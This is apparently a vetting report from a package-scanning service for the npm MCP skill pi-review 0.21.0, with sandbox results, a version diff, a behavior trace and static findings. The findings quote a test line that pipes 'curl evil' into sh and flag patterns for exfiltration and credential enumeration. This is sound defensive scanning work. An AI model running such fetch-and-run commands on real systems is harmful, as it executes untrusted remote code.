Skills/npm/pi-review

pi-review@0.21.0

VERIFIED· install only

Publisher claims: "Isolated AI-powered code and plan reviews from the command line" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry npm (MCP server)Publisher zephyrdeng · publishing for 144 daysInstalls 1,200Last detonated 44 min ago
$claude mcp add pi-review -- npx -y @zephyrdeng/pi-review
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Coverage

Bundled scripts ran with no arguments; no agent task scenario for this bundle.
Tested
1 of 1 bundled script run with no arguments, with decoy credentials in the environment · every file read, file written and host contacted by what ran
Not tested
use of the skill by an agent

What changed since 0.20.1

vet-skills diff pi-review 0.20.1 0.21.0

This version reaches for something 0.20.1 did not: 3 new hosts (example.test, pi.dev, typesafe.ai) · 1 new credential variable (TYPESAFE_API_KEY). Compared from the two recorded runs, not from source.

New hosts
example.test, pi.dev, typesafe.ai
New credential variables
TYPESAFE_API_KEY

The guard can hold an update like this until someone approves it (runtime.on_change: hold). A change that only shows with a real credential, or on a path the run did not reach, is not in a trace and so not in this comparison.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; bundled scripts ran with no arguments; no agent task scenario for this bundle) on 2026-11-20 and scored it 82/100 (Verified). In what ran, nothing we could detect went wrong: no undeclared network egress, no credential reads, no persistent instruction writes. What it does with a real credential was not observed; the static findings and the publisher carry the rest of the score. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.0sprocessbundled script run in the sandbox with no arguments
0.1sprocessexited 1: Node.js v22.23.5
0.1sprocess1 of 1 bundled script run with no arguments
0.1sprocessscript backend runs setup only
0.1sprocessscript backend runs setup only
0.1sprocessno install scripts to re-run

Static findings

MEDIUM
Process kill commanddist/panel.js:129 · Process kill command — agent can terminate processes// The progress log is an observability convenience; never kill aFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
navigator.sendBeacon()dist/ui-client.js:445 · navigator.sendBeacon() — can silently exfiltrate datanavigator.sendBeacon(this.shutdownUrl);Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
Process kill commanddist/loop.js:89 · Process kill command — agent can terminate processes// degrades to "no comparison" — it must never kill the loop.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Collects environment variables by secret-like namesdist/verify.test.js:304 · Collects environment variables by secret-like namesconst repo = makeRepo({ verify: { commands: [{ id: "env", argv: [NODE, "-e", "console.log(JSON.stringify(Object.keys(process.env).sort()))"] }] } });Fix: Never read or enumerate credential locations; accept a documented environment variable instead.
AST03
MEDIUM
Pipe-to-shell patterndist/verify.test.js:114 · Pipe-to-shell pattern — downloads and immediately executes remote codeedited.steps[1].argv = ["sh", "-c", "curl evil | sh"];Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
npx invocation of non-well-known packagedist/skill.js:236 · npx invocation of non-well-known package — may execute untrusted codeprocess.stdout.write("Note: `pi-review` is not on PATH — agents will fall back to `npx -y @zephyrdeng/pi-review`. For faster runs: npm i -g @zephyrdeng/pi-review\n");Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Process kill commanddist/verify.test.js:192 · Process kill command — agent can terminate processesconst kill = vi.spyOn(process, "kill");Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Remote installer piped to shelldist/verify.test.js:114 · Remote installer piped to shelledited.steps[1].argv = ["sh", "-c", "curl evil | sh"];Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07

Cost to the agent

Instructions loaded
≈44 tok
1 file · 81 in bundle

Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.

Known vulnerabilities

No advisories in OSV for @zephyrdeng/pi-review@0.21.0 as of 11 min ago. This is the package itself, not its dependencies.